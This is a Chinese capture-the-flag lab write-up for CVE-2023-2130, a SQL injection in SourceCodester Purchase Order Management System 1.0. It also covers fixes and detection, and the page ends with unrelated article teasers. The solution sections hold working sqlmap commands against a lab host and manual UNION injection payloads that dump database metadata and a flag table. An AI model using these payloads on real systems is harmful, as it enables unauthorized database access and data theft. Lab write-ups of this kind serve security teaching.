【春秋云镜】CVE-2023-2130

目录

  • CVE-2023-2130
    • 漏洞利用
    • 漏洞检测
    • 防御措施
  • 靶标介绍:
    • 解法一:
    • 解法二:

CVE-2023-2130

漏洞详细信息

  • 漏洞编号:CVE-2023-2130
  • 漏洞名称:SQL注入漏洞
  • 受影响的版本:SourceCodester采购订单管理系统1.0
  • 影响范围:/admin/suppliers/view_details.php文件中的id参数
  • 漏洞类型:SQL注入
  • 攻击途径:远程
  • 攻击复杂度:低
    漏洞影响
    由于该系统在未对输入的id参数进行有效验证和过滤,攻击者可以利用此漏洞通过向id参数注入SQL语句来操控数据库。这种操作可能导致:
  1. 敏感数据泄露:攻击者可以读取数据库中的敏感数据,包括用户、供应商等信息。
  2. 数据篡改:攻击者可能插入、删除或更新数据库中的数据。
  3. 权限提升:如果系统中存在管理用户的表或字段,攻击者可能会利用漏洞提升权限。
  4. 进一步攻击:在极端情况下,可能进一步导致远程代码执行等安全隐患。

漏洞利用

攻击者可以通过在id参数中插入SQL查询,如下所示:

http://example.com/admin/suppliers/view_details.php?id=1' OR '1'='1

这种方式可能导致数据库执行附加的SQL语句,并返回大量未授权的信息。

漏洞修复
为了防止SQL注入漏洞,可以采取以下措施:

  1. 参数化查询:使用PDO或MySQLi等库来实现参数化查询,从根本上防止SQL注入。
  2. 输入验证和过滤:对用户输入的参数进行严格的验证,确保只允许数字格式的id参数通过。
  3. 使用ORM框架:考虑使用对象关系映射(ORM)框架来处理数据库交互,减少手动拼接SQL语句的机会。
  4. 最小化权限:将数据库账户权限设置为最低,避免拥有不必要的增删改权限。

漏洞检测

可以通过以下步骤检测该系统是否存在该漏洞:

  1. 使用带有SQL语句的id参数访问目标URL,观察是否返回异常的数据库信息或报错页面。
  2. 利用SQL注入测试工具(如sqlmap)来进行检测,以自动化方式检查是否存在SQL注入漏洞。
    示例检测命令:
sqlmap -u "http://example.com/admin/suppliers/view_details.php?id=1" --dbs

防御措施

  • WAF(Web应用防火墙):通过WAF来拦截潜在的SQL注入攻击请求。
  • 日志审计:定期检查服务器和应用日志,发现异常请求或潜在的SQL注入尝试。

总结:SQL注入漏洞是常见的安全风险,尤其在处理用户输入时应格外谨慎,采用适当的防护措施可有效降低系统被攻击的风险。及时修复漏洞并部署防护措施对于保障系统安全至关重要。

靶标介绍:

在SourceCodester采购订单管理系统1.0中发现了一项被分类为关键的漏洞。受影响的是组件GET参数处理器的文件/admin/suppliers/view_details.php中的一个未知函数。对参数id的操纵导致了SQL注入。可以远程发起攻击。

在这里插入图片描述

解法一:

sqlmap

第一步:

python sqlmap.py -u "http://eci-2ze9ssbzw095ojzvdrhn.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" --batch -dbs

在这里插入图片描述

第二步:

python sqlmap.py -u "http://eci-2ze9ssbzw095ojzvdrhn.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" --batch -D purchase_order_db --tables

在这里插入图片描述

第三步:

python sqlmap.py -u "http://eci-2ze9ssbzw095ojzvdrhn.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" --batch --batch -D purchase_order_db -T fllllaaaag -dump

在这里插入图片描述

解法二:

手工注入

查询注入字符的字段数

1' order by 8--+

字段为8的时候是有回显的
在这里插入图片描述
测试回显位置

1' and 1=2 union select 1,2,3,4,5,6,7,8--+

在这里插入图片描述
23456是有回显的

查询当前数据库、当前用户、数据库版本

1' and 1=2 union select 1,2,3,database(),user(),version(),7,8--+

在这里插入图片描述
查询数据库中的所有表

1' AND 1=2 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database()--+

1
查看fllllaaaag表

1' AND 1=2 UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8 FROM information_schema.columns WHERE table_name='fllllaaaag'--+

在这里插入图片描述
查看flag

1' AND 1=2 UNION SELECT 1,2,group_concat(flag),4,5,6,7,8 FROM fllllaaaag--+

在这里插入图片描述

flag{a494e737-c3f8-4fe7-9c85-0a38d1a16c5e}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/9954.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Code::Blocks 24.10 全中文优化完整版

Code::Blocks(或者叫做 CodeBlocks)是一款开放源代码、跨平台的集成开发环境(IDE),通过配置不同的编程语言编译器,可以用于多种编程语言程序开发。 网上有很多文章介绍 Code::Blocks 的安装,通…

二叉树-哈夫曼树的构造和应用

重点:哈夫曼树的构造和应用(编码) 选取完最小权值的两个节点后新结点的权值是二者之和,新节点可以和选取剩余的结点结合,也可以在剩余的里面选出最小两个结合后形成的新结点与第一个新结点结合(前提他们是最小的两个结点) 哈夫曼编码 哈夫曼编码优化 130为最小的带权路径长度 …

d3坐标轴系数角度变换-位置不对等问题

svg.append(text).attr(x, 100) // 文本 x 坐标.attr(y,200 ) // 文本 y 坐标// .attr(text-anchor, middle) // 文本居中.attr(fill, black) // 文本颜色.attr(transform, rotate(-90, 25, 30)) // 旋转 -90 度.attr(font-size, 9).text(你的文本); 有些老哥…

rosbag数据导出成pcd文件

目录 步骤 1:安装必要的 ROS 包步骤 2:播放 .bag 文件中的点云数据(非必须)步骤 3:使用 pcl_ros 提取并保存点云数据步骤 4:验证输出 要将 .bag 文件中的点云数据导出为 .pcd 文件,通常需要以…

基于 Spring Boot 和 Vue 的门票销售创新系统

作者介绍:✌️大厂全栈码农|毕设实战开发,专注于大学生项目实战开发、讲解和毕业答疑辅导。 🍅获取源码联系方式请查看文末🍅 推荐订阅精彩专栏 👇🏻 避免错过下次更新 Springboot项目精选实战案例 更多项目…

推荐一款管道数据检索工具:Pipedata-Pro

Pipedata-Pro是一款专为设计石油、天然气、水和蒸汽管道及管道系统的工程师开发的应用程序。该应用程序提供了设计管道系统所需的工程数据,拥有一个全面的管道类型、配件和材料数据库。 软件特点: 1. 技术参数查询:Pipedata-Pro 提供关于管道…

使用 Umami 部署博客分析工具

Umami 简介 Umami 是一款开源且注重隐私的网站分析工具,可替代 Google Analytics。它提供网站流量和用户行为等见解,但不使用 Cookie 或收集个人数据,符合隐私法规。Umami 轻巧易用,可自行托管。 如果你有自己的博客,…

三菱QD77MS定位模块速度更改功能

速度更改功能” 是以任意时机将控制中的速度更改为新指定的速度的功能。更改后的速度直接设置到缓冲存储器中,并根据速度更改指令([cd.15速度更改请求)或者外部指令信号执行速度更改。 但是,机械原点复位的情况下,检测出近点狗 ON 并开始向蠕…

typescript 补充

文章目录 Pick<T, K> 从 T 中挑选部分属性构成新类型Partial<T>&#xff1a;将类型的所有属性变为可选Required<T>&#xff1a;将类型的属性变为必选。Omit<T, K>&#xff1a;从 T 中移除部分属性构成新类型。Readonly<T>&#xff1a;将类型的属…

运动【跑步 03】安踏冠军3的10KM和15KM*2体验(对比必迈PURE LIGHT)

这里写目录标题 1. 前言2. 两双鞋2.1 必迈 PURE LIGHT2.2 安踏 冠军 3 3. 主观对比4. 问题4.1 必迈 PURE LIGHT4.2 冠军 3 5. 总结 1. 前言 我是程序员&#xff0c;并不是专业的运动员&#xff0c;对跑步鞋的研究也不深&#xff0c;至今也就买过两双相对比较专业的跑鞋&#x…

【C++】踏上C++的学习之旅(六):深入“类和对象“世界,掌握编程的黄金法则(一)

文章目录 前言1. "面向过程"和"面向对象"的碰撞1.1 面向过程1.2 面向对象 2. "类"的引入3. "类"的定义3.1 &#x1f349;语法展示&#xff1a;3.2 "类"的两种定义方式3.3 "类"的命名规则 4. 类的访问限定符以及封…

Matlab绘制箭头(annotation 、quiver、​quiver3)

本文章开始讲述基于Matlab绘制箭头&#xff0c;主要包括一下函数&#xff1a; annotation &#xff1a;annotation(lineType,x,y) 创建一个在当前图窗中的两个点之间延伸的线条或箭头注释。将 lineType 指定为 ‘line’、‘arrow’、‘doublearrow’ 或 ‘textarrow’。将 x 和…

【ESP32+MicroPython】开发环境部署

本教程将指导你如何在Visual Studio Code&#xff08;VSCode&#xff09;中设置ESP32的MicroPython开发环境。我们将涵盖从安装Python到烧录MicroPython固件的整个过程&#xff0c;以及如何配置VSCode以便与ESP32进行交互。 准备工作 安装Python 确保你的计算机上安装了Pyth…

我来讲一下-Service Mesh.

前言&#xff1a; 1、中文直翻译&#xff1a;Service Mesh叫服务网格&#xff0c;有一些讲课老师说什么把服务当成一个一个格子&#xff0c;一笔带过&#xff0c;没有经过深刻思考的讲诉&#xff0c;我真的bs. 一、我来讲一下 1、这里拆解分析一下&#xff0c;Service中的"…

30.超市管理系统(基于springboot和Vue的Java项目)

目录 1.系统的受众说明 2.相关技术和开发环境 2.1 相关技术 2.1.1 Java语言 2.1.2 HTML、CSS、JavaScript 2.1.3 MySQL 2.1.4 Vue.js 2.1.5 SpringBoot 2.2 开发环境 3. 系统分析 3.1 可行性分析 3.1.1 经济可行性 3.1.2 技术可行性 3.1.3 运行可行性 3.2…

洛谷 P1434 [SHOI2002] 滑雪 完整题解

一、题目查看 P1434 [SHOI2002] 滑雪 - 洛谷 二、解题思路 本题需要使用记忆化搜索&#xff0c;把第x个点开始最多能走几步记录在dp[x]中&#xff0c;循环递归&#xff0c;记录&#xff0c;并找出最大的dp[i]。 三、题解 #include <bits/stdc.h> using namespace std;int…

分布式唯一ID生成(二): leaf

文章目录 本系列前言号段模式双buffer优化biz优化动态step源码走读 雪花算法怎么设置workerId解决时钟回拨源码走读 总结 本系列 漫谈分布式唯一ID分布式唯一ID生成&#xff08;二&#xff09;&#xff1a;leaf&#xff08;本文&#xff09;分布式唯一ID生成&#xff08;三&am…

Spring Boot 与 Vue 共筑电影评价卓越平台

作者介绍&#xff1a;✌️大厂全栈码农|毕设实战开发&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。 &#x1f345;获取源码联系方式请查看文末&#x1f345; 推荐订阅精彩专栏 &#x1f447;&#x1f3fb; 避免错过下次更新 Springboot项目精选实战案例 更多项目…

Everything软件实现FTP功能

Windows的文件共享和ftp实在难用&#xff0c;这里介绍一种新的局域网内共享文件的方法 下载 Everything 选择想要共享的文件&#xff0c;选择包含到数据库&#xff0c;注意&#xff1a;要在对应的分卷设置&#xff0c;共享文件夹名称不要包含中文字符&#xff0c;因为Windows底…

CertiK创始人顾荣辉出席新加坡商业与慈善论坛,发表主旨演讲并主持专题讨论

2024年11月5日 —— 美国哥伦比亚大学教授、CertiK联合创始人、MAS国际技术顾问顾荣辉受邀参加2024年度新加坡商业与慈善论坛&#xff08;Business & Philanthropy Leadership Forum Singapore&#xff0c;简称B&P Forum&#xff09;&#xff0c;期间发表主旨演讲并主持…